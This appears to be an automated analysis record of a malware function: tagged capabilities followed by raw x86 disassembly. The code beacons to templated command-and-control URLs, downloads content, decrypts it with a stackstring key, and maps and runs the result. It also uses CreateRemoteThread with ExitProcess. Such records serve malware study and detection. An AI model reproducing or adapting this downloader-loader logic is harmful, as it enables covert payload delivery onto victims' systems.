Function at 0x401a99
Capabilities:
Contain obfuscated stackstrings
Create thread
Get file size
Read file on windows
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14c0
call fcn.00402b30
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
push 0x200
lea eax, [ebp - 0x4bc]
push edi
push eax
mov dword [ebp - 0x10], edi
mov dword [ebx + 4], edi
call fcn.00402190
add esp, 0xc
lea esi, [ebp - 0x14bc]
call fcn.00402999
mov ecx, esi
mov edx, esi
call fcn.00402200
mov ecx, str.vl.bin
mov eax, esi
call fcn.00402270
push edi
push edi
push 3
push edi
xor esi, esi
inc esi
push esi
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x401bba
push edi
push eax
mov dword [ebx], edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
call fcn.00402150
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x401bac
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea ecx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffdd4
push ecx
push eax
push dword [ebp - 8]
call esi
push edi
lea eax, [ebp - 0x20]
push eax
push 0x22c
lea eax, [ebp - 0x2bc]
push eax
push dword [ebp - 8]
call esi
lea ecx, [ebx + 8]
lea edx, [ebp - 0x2b4]
call fcn.004021e0
lea edx, [ebx + 0x34]
lea ecx, [ebp - 0x292]
call fcn.00402200
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [ebp - 0x2bc]
sub dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x2b8]
sbb dword [ebp - 0x6c], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401e52
mov dword [ebx], esi
xor ecx, ecx
call fcn.00402380
push 0x18
cdq
pop esi
idiv esi
add dl, 0x61
mov byte [ebx + ecx + 8], dl
inc ecx
cmp ecx, 0x20
jl 0x401bbe
mov byte [ebx + 0x28], 0
call fcn.004011f1
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x401fde
mov dword [ebp - 0x1c], 5
cmp dword [ebx + 0x234], edi
mov dword [ebp - 0x68], edi
jle 0x401ca4
mov dword [ebp - 8], edi
cmp word [ebx + 0x34], di
jne 0x401cd5
mov eax, dword [ebx + 0x238]
add eax, dword [ebp - 8]
lea edx, [ebp - 0xcbc]
push eax
push str.http:___S_api_test
call fcn.00402360
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xcbc]
push eax
push dword [ebp - 0xc]
call fcn.00401355
add esp, 0x18
test eax, eax
je 0x401c8b
cmp dword [ebp - 0x20], 0x100
mov esi, dword [ebp - 0x14]
jae 0x401c84
cmp byte [esi], 0x40
jne 0x401c84
mov eax, dword [ebx + 0x238]
add eax, dword [ebp - 8]
lea edx, [ebx + 0x34]
push eax
push 0x403334
call fcn.00402360
lea eax, [esi + 1]
push eax
push 0x403334
lea edx, [ebp - 0x4bc]
call fcn.00402360
add esp, 0x10
mov eax, esi
call fcn.00402170
inc dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp - 8], 0x100
cmp eax, dword [ebx + 0x234]
jl 0x401c03
cmp word [ebx + 0x34], di
jne 0x401cd5
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x401cbf
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401cc1
je 0x401ccb
cmp word [ebx + 0x34], di
je 0x401bf1
cmp word [ebx + 0x34], di
je 0x401e30
lea edi, [ebp - 0x14]
call fcn.004029cf
xor edi, edi
mov esi, eax
cmp dword [ebp - 0x14], edi
je 0x401ce9
add esi, 0xa
call fcn.004015af
push eax
movzx eax, word [ebx + 0x2c]
push esi
push eax
movzx eax, word [ebx + 0x2a]
push eax
lea esi, [ebx + 8]
push esi
lea eax, [ebx + 0x34]
push eax
push str.http:___s_api_ping_stage1uid_Sid_dsubid_dos_davf_d
lea edx, [ebp - 0xcbc]
call fcn.00402360
add esp, 0x1c
push edi
push edi
lea eax, [ebp - 0xcbc]
push eax
push dword [ebp - 0xc]
call fcn.00401355
or dword [ebp - 8], 0xffffffff
lea eax, [ebp - 0x4bc]
push eax
push str.http:___s_content_sccx
lea edx, [ebp - 0xcbc]
call fcn.00402360
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xcbc]
push eax
push dword [ebp - 0xc]
call fcn.00401355
add esp, 0x28
test eax, eax
je 0x401def
push edi
push edi
push 2
push edi
push 1
push 0x40000000
lea eax, [ebp - 0x14bc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x401def
mov edx, esi
lea ecx, [ebp - 0x2b4]
call fcn.004021e0
lea ecx, [ebx + 0x34]
lea edx, [ebp - 0x292]
call fcn.00402200
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push dword [ebp - 8]
call esi
push edi
lea eax, [ebp - 0x20]
push eax
push 0x22c
lea eax, [ebp - 0x2bc]
push eax
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 8], 0xffffffff
lea edx, [ebp - 0xcbc]
setne al
push eax
lea eax, [ebx + 8]
push eax
lea eax, [ebx + 0x34]
push eax
push str.http:___s_api_ping_stage2uid_Ssuccess_d
call fcn.00402360
push edi
push edi
lea eax, [ebp - 0xcbc]
push eax
push dword [ebp - 0xc]
call fcn.00401355
push dword [ebp - 0xc]
push ebx
call fcn.0040194f
add esp, 0x28
xor edi, edi
push edi
push edi
push edi
push dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x10], edi
je 0x401fde
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x64], 0xd8
mov byte [ebp - 0x63], 0x11
mov byte [ebp - 0x62], 0x67
mov byte [ebp - 0x61], 0xea
mov byte [ebp - 0x60], 0xb5
mov byte [ebp - 0x5f], 0x36
mov byte [ebp - 0x5e], 0xb0
mov byte [ebp - 0x5d], 0x3b
mov byte [ebp - 0x5c], 0x4f
mov byte [ebp - 0x5b], 0xba
mov byte [ebp - 0x5a], 0x72
mov byte [ebp - 0x59], 0xbe
mov byte [ebp - 0x58], 0xc
mov byte [ebp - 0x57], 0xeb
mov byte [ebp - 0x56], 0x69
mov byte [ebp - 0x55], 0xd8
mov byte [ebp - 0x54], 0x93
mov byte [ebp - 0x53], 0x1a
mov byte [ebp - 0x52], 0x40
mov byte [ebp - 0x51], 0x15
mov byte [ebp - 0x50], 0x87
mov byte [ebp - 0x4f], 0x7e
mov byte [ebp - 0x4e], 0x43
mov byte [ebp - 0x4d], 0x42
mov byte [ebp - 0x4c], 0x78
mov byte [ebp - 0x4b], 0x29
mov byte [ebp - 0x4a], 0x1c
mov byte [ebp - 0x49], 0x11
mov byte [ebp - 0x48], 0x43
mov byte [ebp - 0x47], 0x89
mov byte [ebp - 0x46], 0x91
mov byte [ebp - 0x45], 0x81
mov byte [ebp - 0x44], 0x93
mov byte [ebp - 0x43], 0x5f
mov byte [ebp - 0x42], 0xdc
mov byte [ebp - 0x41], 0xbe
mov byte [ebp - 0x40], 0xa
mov byte [ebp - 0x3f], 0x9f
mov byte [ebp - 0x3e], 0x9a
mov byte [ebp - 0x3d], 0x26
mov byte [ebp - 0x3c], 0x91
mov byte [ebp - 0x3b], 0x12
mov byte [ebp - 0x3a], 0x34
mov byte [ebp - 0x39], 0xea
mov byte [ebp - 0x38], 0x78
mov byte [ebp - 0x37], 0x30
mov byte [ebp - 0x36], 0x97
mov byte [ebp - 0x35], 0x5a
mov byte [ebp - 0x34], 0xe7
mov byte [ebp - 0x33], 0x4b
mov byte [ebp - 0x32], 0x45
mov byte [ebp - 0x31], 0x40
mov byte [ebp - 0x30], 0x14
mov byte [ebp - 0x2f], 0xf4
mov byte [ebp - 0x2e], 0xcb
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x2c], 0x3b
mov byte [ebp - 0x2b], 0x28
mov byte [ebp - 0x2a], 0xf5
mov byte [ebp - 0x29], 0xef
mov byte [ebp - 0x28], 3
mov byte [ebp - 0x27], 0x7e
mov byte [ebp - 0x26], 0x78
mov byte [ebp - 0x25], 0x61
call fcn.00402a9d
pop ecx
push dword [ebp - 0x10]
call fcn.004026e0
mov esi, eax
pop ecx
cmp esi, edi
je 0x401fde
mov eax, dword [esi]
mov ebx, dword [eax + 0x28]
movzx eax, word [eax + 0x16]
add ebx, dword [esi + 4]
shr eax, 0xd
and eax, 1
mov dword [ebp - 0x88], eax
jne 0x401fd9
push str.ovcf
push 4
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, edi
je 0x401fd9
push 4
push edi
push edi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x14], eax
cmp eax, edi
je 0x401fd9
push 4
pop edx
lea ecx, [ebp + 8]
call fcn.004021c0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
push edi
push edi
push edi
call ebx
call fcn.00402800
pop edi
pop esi
pop ebx
leave
ret